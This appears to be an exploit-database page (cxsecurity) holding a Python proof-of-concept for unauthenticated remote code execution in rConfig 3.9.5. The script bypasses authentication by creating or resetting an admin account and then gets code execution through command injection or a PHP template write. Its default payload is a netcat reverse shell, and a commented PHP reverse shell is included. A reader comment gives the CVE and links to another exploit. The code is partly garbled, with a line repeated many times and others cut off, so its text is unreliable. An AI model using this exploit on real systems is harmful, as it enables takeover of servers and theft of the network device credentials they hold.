rConfig 3.9.5 Remote Code Execution (Unauthenticated)

	2020	0.10.15			
Credit: Daniel Monzón (1	https://cxsecurity	.com/author/Daniel+Monz	%C3%B3n+/1/)		
Risk: High		Local: No		Remote: Yes	
CVE: N/A			CWE: N	1/A	

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# Exploit Title: rConfig 3.9.5 - Remote Code Execution (Unauthenticated)
# Google Dork: N/A
# Date: 2020-10-13
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://www.rconfig.com/
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.5.zip
# Version: rConfig v3.9.5
# Tested on: CentOS 7 x64
# CVE : N/A
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import urllib3
import re
#from bs4 import BeautifulSoup
urllib3.disable_warnings()
\verb|url="https://x.x.x.x/" #change this to fit your URL (adding the last slash)|\\
payload="nc y.y.y.y 9001 -e /bin/sh" #change this to whatever payload you want
payload_rce= "fileName=../www/test.php&code=<%3fphp+echo+system('ls')%3b%3f>&id=3" #if you want to use Method 2 for RCE, use a PHP, urlen
coded payload as the value of the code parameter
print("Connecting to: {}".format(url))
print("Connect back is set to: {}, please launch 'nc -lv 9001'".format(payload))
x = requests.get(url+"login.php", verify=False)
version = re.search("(.*)<span>", x.text)
version = version.group(1)
if version == "rConfig Version 3.9.5":
     print("Version 3.9.5 confirmed")
else:
       print("Version is "+version+ " it may not be vulnerable")
payload_final=";"+payload
proxies = \verb| "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"| \verb| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', proxies = \verb| "http://127.0.0.1:8080"| #in case you need to debug the exploit with Burp, add ', prox
oxies=proxies' to any request
def createuser():
         multipart_data = MultipartEncoder(
               fields={
                                 'username': 'test',
                                 'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
                                 'passconf': 'Testing1@',
                                 'email': 'test@test.com',
                                'ulevelid': '9',
                                 'add': 'add',
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'editid': ''
   headers = {'Content-Type': multipart data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
    cookies = {'PHPSESSID': 'test'}
   response = requests.post(url+'lib/crud/userprocess.php', data=multipart data, verify=False, cookies=cookies, headers=headers, allow r
   if "error" not in response.text:
       print("(+) User test created")
       print("(-) User couldn't be created, please debug the exploit")
def exploit():
   payload = {
    'user': 'test',
   'pass': 'Testing1@',
    'sublogin': '1'
    with requests.Session() as s:
        p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
        if "Stephen Stack" in p.text:
          print("(-) Exploit failed, could not login as user test")
         else:
           print("(+) Log in as test completed")
           params = {'path':'test',
                      'ext': payload_final
           rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
           if "success" in rce.text:
               print("(+) Payload executed successfully")
              print("(-) Error when executing payload, please debug the exploit") #if you used method 2 to auth bypass and 1 for RCE, i
gnore this message
   payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
   with requests.Session() as s:
        p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
        if "Stephen Stack" in p.text:
           print("(-) Exploit failed, could not login as user test")
           print("(+) Log in as test completed")
           params = {'path':'test',
                     'ext': payload_final
           rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
           if "success" in rce.text:
               print("(+) Payload executed successfully")
           else:
               print("(-) Error when executing payload, please debug the exploit")
def user_enum_update():
   users=requests.get(url+'useradmin.inc.php', verify=False)
    \label{eq:matchObj} $$ $$ = re.findall(r'(.*?)', users.text, re.M|re.I|re.S) $$
   if "admin" in users.text:
     print("(+) The admin user is present in this rConfig instance")
     multipart_data = MultipartEncoder(
      fields={
              'username': 'admin',
              'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
              'email': 'admin@admin.com',
              'ulevelid': '9',
              'add': 'add',
              'editid': '1' #you may need to increment this if you want to reset the password of a different user
      headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
     cookies = {'PHPSESSID': 'test'}
      response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow
redirects=False)
    if "error" not in response.text:
         print("(+) The new password for the admin user is Testing1@")
     else:
        print("(-) Admin user couldn't be edited, please debug the exploit")
    elif "Admin" in users.text:
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print("(+) There is at least one Admin user, check "+ str(url)+"useradmin.inc.php manually and modify the exploit accordingly (era
se the if-elif statements of this function and modify the user payload)")
def template():
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
    #<\31fphp+\24sock\3Dfsockopen\28\22192.168.1.13\22\2C1234\29\3Bexec\28\22\2Fbin\2Fbin\2Fsh\20-i\20\3C\263\20\3E\263\20\3E\263\20\3E\263\22\29\3B\3f>
    headers_rce = {'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": url+"deviceConnTemplates.php", "Origi
n":origin, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5"}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as admin completed")
            {\tt rce=s.post(url+'lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=payload\_rce, headers=headers\_rce)}
            if "success" in rce.text:
                print("(+) File created")
                rce_req = s.get(url+'test.php.yml', verify=False)
                print("(+) Command results: ")
               print(rce_req.text)
            else:
                print("(-) Error when executing payload, please debug the exploit")
   print("Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón")
    print("In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat
    print("Note: preferred method for auth bypass is 1, because it is less 'invasive'")
    print("Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target
machine")
   print('''Choose method for authentication bypass:
       1) User creation
       2) User enumeration + User edit ''')
    auth_bypass=str(input("Method>"))
    if auth bypass == "1":
       createuser()
    elif auth bypass == "2":
      user_enum_update()
    print('''Choose method for RCE:
       1) Unsafe call to exec()
        2) Template edit ''')
    rce method=str(input("Method>"))
    if rce method == "1":
       exploit()
    elif rce method == "2":
       template()
main()
                                  See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020100091)
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                                                       Vote for this issue:
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guly Date: 2020-10-15 15:35 CET+1
actually this is CVE-2020-13778, still reserved because FUBAR. my exploit has been published at https://github.com/theguly/exploits/blob/master/CVE-2020-13778.py companion blog post https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/